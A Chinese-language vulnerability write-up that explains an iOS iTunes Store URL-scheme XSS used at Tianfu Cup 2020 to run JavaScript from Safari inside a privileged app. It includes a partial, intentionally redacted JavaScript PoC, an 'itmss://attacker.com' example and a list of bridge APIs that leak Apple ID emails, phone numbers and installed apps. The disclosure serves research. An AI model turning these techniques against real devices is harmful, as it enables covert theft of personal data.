作者:0xcc
原文鏈接:https://mp.weixin.qq.com/s/g1kmGkp2B5QyQEUhdXOG8Q

早上終于完成了 BlackHat USA 的演講,可以公布細節了。由于排版和時間等關系,公眾號的中文版會略過一些細節,可以查看英文版的幻燈片白皮書

自從 iPhone Xs 使用了 A12 芯片正式加入了 PAC,包括老牌的 Pwn2Own 在內的各種 0day 競賽上就沒有出現過成功的挑戰,直到 2020 年的天府杯。當時的螞蟻安全和 360 政企安全分別用兩套完全不同的方案實現了遠程攻擊,在搭載了 iOS 14.2 的系統上通過 Safari 瀏覽器作為入口,繞過瀏覽器沙箱執行任意代碼并竊取敏感信息。

絕大多數的 full chain exploit 都是先獲取沙箱內任意代碼執行,再逃逸沙箱;本文用到鏈條非常特殊,先繞過沙箱向一個系統自帶 App 注入任意 javascript 代碼,然后直接在 app 中獲取完全的 shellcode 執行,也就是和 App 同等的權限,可以訪問 Apple ID、通訊錄、攝像頭等敏感的信息。

更為有意思的是,在這個 js 環境中,不僅兼容已有的任何一個 WebKit 漏洞利用(無論是否是 JIT 類型的漏洞),還額外引入了攻擊面。靠著額外的攻擊面結合多個系統安全機制的繞過,最終可以實現任意代碼執行。

第一個漏洞非常有意思,本質上是一個客戶端的 XSS。但要找到這個 XSS,不僅 fuzz 行不通,哪怕是代碼審計也得看二進制代碼,也就是要求同時具備逆向工程和 web 漏洞的背景知識。光是反編譯 dyld_shared_cache 就能勸退一大批人了。

輸入向量是大家熟悉的 URL scheme。URL scheme 可以從瀏覽器跳轉到本地 app,在跳轉前會提示用戶。但 iOS 在代碼里硬編碼了一個信任名單,可以免確認跳轉:

圖片

這就給漏洞的利用帶來了很大便利。

早在 2014 年就有韓國黑客 lokihardt 在 Pwn2Own 上用過這個攻擊面,通過一個特殊的 URL 在本地 app 打開了任意網址,結合另一個 WebKit 的 Use-After-Free 漏洞即可在沙箱外運行任意代碼。第一步的逃逸很簡單:

itmss://attacker.com

當時并沒有限制域名,直接給一個 URL 就能打開。這個問題就是CVE-2014-8840。

之后 iOS 加入了域名白名單。每次啟動 iTunes Store 時都會拉取一個 XML 配置文件,只有后綴滿足其中 trustedDomains 列表才會打開。然而緊接著又被打了一次,因為 lokihardt 找了個信任域名的 DOM xss。

友情提示,相關域名的 xss 可以結合 app 的特性實現效果最大化

一開始準備時也沒想到真要搞 iOS。當時同事搞定了一個 iOS 和 mac 通用的 WebKit 讀寫利用(WebAudio 組件,后來用在 macOS 的項目上,已經在 BlackHat 上公開細節),需要過沙箱,我就想起這個免確認跳轉逃逸的點:

圖片

然而測試發現 mac 上的應用已經換上了 WKWebView,意味著即使跳轉過去任意代碼執行,權限和 Safari 的無異。又把手伸向了 iOS。

全局開啟 iOS / mac 的 WebView 調試

之前發的全局調試工具起到了很大用處。隨手在控制臺里測試了一些代碼,當天就找到了一個 UAF。開始逆向各種代碼,又發現 WebView 里隱藏的各種強大的接口,可以直接彈計算器。最后考慮效果最佳化,還是完全使用 iTunes 的漏洞完成了 iOS 的項目利用。

一開始我的思路放在信任域的 XSS 上,還想復制一遍之前 24 小時光靠手工查看源文件弄一個 DOM XSS 的事跡,但這次運氣并不好,上了被動掃描器看了幾天也沒進展。又掏出 IDA 在漫天的代碼里看,終于在這幾個方法里發現了彩蛋。

  • -[SUStoreController handleApplicationURL:]
  • -[NSURL storeURLType]
  • -[SUStoreController _handleAccountURL:]
  • -[SKUIURL initWithURL:]

iTunes Store 本地有一個邏輯,當 querystring 出現特殊的參數時,URL 的 hostname 就會被忽略掉,而是直接取出參數里的第二個 url,在一個浮層里加載:

itms://<馬賽克>&url=http://www.apple.com

在這里 URL 仍然具有域名信任檢查,但已不要求使用 https,可以中間人了。讓人不解的是,在反編譯代碼里發現了一段神奇的邏輯。當參數是一個 data URI 時,同樣認為這是一個受信任的域。

我們都知道 data URI 可以直接插入任意 html,所以這個點就變成了一個反射型 XSS,還是必須要逆向才能找到的 XSS。

程序還有一個邏輯是會嘗試對 querystring 的參數重新賦值,最終的 data URI 永遠會被貼上一個額外的問號字符。如果使用 base64 編碼,payload 就會被破壞掉;而 text/plain 不受影響,只是會在 body 結尾多出來一個字符而已。

String.prototype.toDataURI = function() {
  return 'data:text/html;,' + encodeURIComponent(this).replace(/[!'()*]/g, escape);
}

function payload() {  
  iTunes.alert('gotcha'); // do ya thing
}

const data = `<script type="application/javascript">(${payload})()<\/script>`.toDataURI()
const url = new URL('itms://<redacted>');
// part of the PoC is redacted to prevent abuse
url.searchParams.set('url', data);
location = url

因此通過以上簡單的參數構造,就可以生成這樣的一個特殊的 itms URL,能從 Safari 直接跳轉到本地應用并執行任意 js。

由于漏洞從 iOS 3 引入,直到 iOS 14.4 才被修復,影響范圍過于夸張,以上提供的 PoC 并不是完整的。一些關鍵參數已被刪除。

在 iOS 14 上,這個 iTunes 具有 dynamic-codesigning 權限。有一些 iOS 程序員會誤認為只有 WKWebView 才能使用 just-in-time 優化,但是實際上這只跟 JavaScriptCore 當前所在進程是否有特殊的 entitlement 來控制。

這樣一來這個 XSS 之后進入了一個特殊的環境。渲染的控件叫 SUWebView,是過時的 UIWebView 的子類,沒有獨立的渲染器進程。然而這個環境允許 JIT,所以有機會加載任意 shellcode。任意一個有效的 WebKit 的漏洞都可以在這個 WebView 被利用。

除此之外,SUWebView 本身用的 JavaScript bridge 引入了新的攻擊面,至少在這一步可以直接用 js 獲取相當多的信息。

SUWebView 使用的是過時的 WebScripting API,將 SUScriptInterface 類的方法導出到 js 上下文中。這些 API 被放在全局作用域的 iTunes 命名空間里。

  • iTunes.systemVersion() 獲取系統版本號
  • iTunes.primaryAccount?.identifier 獲取 App Store 賬號的郵箱
  • iTunes.primaryiCloudAccount?.identifier 獲取 iCloud 賬號的郵箱
  • iTunes.diskSpaceAvailable() 存儲可用空間
  • iTunes.telephony 電話號碼、運營商等信息
  • iTunes.installedSoftwareApplications 所有已安裝的 app 信息

另外從這個 WebView 向任意域名發起 HTTP 請求,都會帶上額外的 AppStore 認證信息,包括 icloud-dsid, x-mme-client-info, x-apple-adsid, x-apple-i-md-m, x-apple-i-md 等。

下面到了喜聞樂見的彈計算器時間:

const app = iTunes.softwareApplicationWithBundleID_('com.apple.calculator')app.launchWithURL_options_suspended_('calc://1337', {}, false);

就是這么簡單……

圖片

這個漏洞可以通過 iMessage 直接發送特殊的鏈接一次點擊觸發,還能 AirDrop 給陌生人。只用一個 AirDrop 就可以百分百穩定拿到對方的手機號(約等于微信號了),然后順帶惡趣味彈一下計算器,還是有些可怕。

當然天府杯的漏洞自然不會止步于此,現場演示的彈計算器和讀通訊錄是用 shellcode 實現的。接下的文章將披露另一個漏洞,以及如何結合 Objective-C 特性并繞過 PAC 和 APRR 執行任意代碼。敬請關注。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1659/